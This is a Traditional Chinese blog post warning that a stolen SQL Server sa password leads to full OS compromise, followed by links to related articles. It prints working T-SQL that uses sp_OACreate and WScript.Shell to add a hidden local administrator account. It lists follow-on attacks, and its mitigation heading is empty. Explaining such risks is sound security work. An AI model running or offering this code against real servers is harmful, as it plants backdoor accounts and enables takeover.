SQL Server 安全隱患：sa 權限被盜可導致作業系統完整淪陷

風險本質

SQL Server sa 帳號權限相當於作業系統 Administrator。若 sa 密碼外洩，攻擊者可在查詢分析器執行 T-SQL，透過 OLE 自動化 呼叫 WScript.Shell 執行任意系統指令，完全控制伺服器。

攻擊示範碼（已驗證可行）

DECLARE @obj INT
EXEC sp_OACreate 'WScript.Shell', @obj OUT
EXEC sp_OAMethod @obj, 'Run', NULL, 'net user iamhacker opendoor /add'
EXEC sp_OAMethod @obj, 'Run', NULL, 'net localgroup Administrators iamhacker /add'
EXEC sp_OAMethod @obj, 'Run', NULL, 'net localgroup Users iamhacker /del'

原理剖析：

• sp_OACreate 建立 WScript.Shell COM 物件
• sp_OAMethod ... 'Run' 執行命令列指令
• SQL Server 服務預設以 LocalSystem 身分執行 → 衍生程序擁有最高權限
• 同理可啟動 notepad.exe 等 GUI 程式（工作管理員可見 SYSTEM 權限進程）

風險擴散面

• 新增/刪除/修改系統使用者與群組
• 關閉防火牆、修改登錄、安裝後門程式
• 存取檔案系統、竊取資料、部署勒索軟體
• 橫向移動攻擊內網其他主機

緩解對策

核心結論

「不要以為被駭的只是 SQL Server」——
一旦 sa 失守，整台伺服器與內網皆在攻擊者掌控中。
防護必須從「資料庫層」延伸至「作業系統與網路層」。

1. 上一篇文章： Microsoft SQL Server 2000 數據轉換服務 (DTS) 架構與應用場景
2. 下一篇文章： SQL Server 2005 CLR 整合開發白皮書：架構、效能比較與最佳實務

關於SqlServer

SQL Server 查詢結果儲存雙軌制：SELECT INTO 新建資料表與變數儲存完整語法指南

10.6.1 儲存查詢結果到資料表 使用 SELECT…IN

SQL Server 2005 合併式複寫設定圖文詳解 (發行/訂閱/同步監控)

環境：發行端 WinServer 2003 + SSMS E

SQL Server 樹形表非循環遞歸查詢：CTE 遞歸查詢完整指南

前言 在處理樹形結構數據（如組織架構、地區劃分、分類目錄）時

SQL Server Min/Max Server Memory 實戰配置：讓資料庫與多應用程式和諧共存

記憶體管理機制深度解析 啟動階段 SQL Server *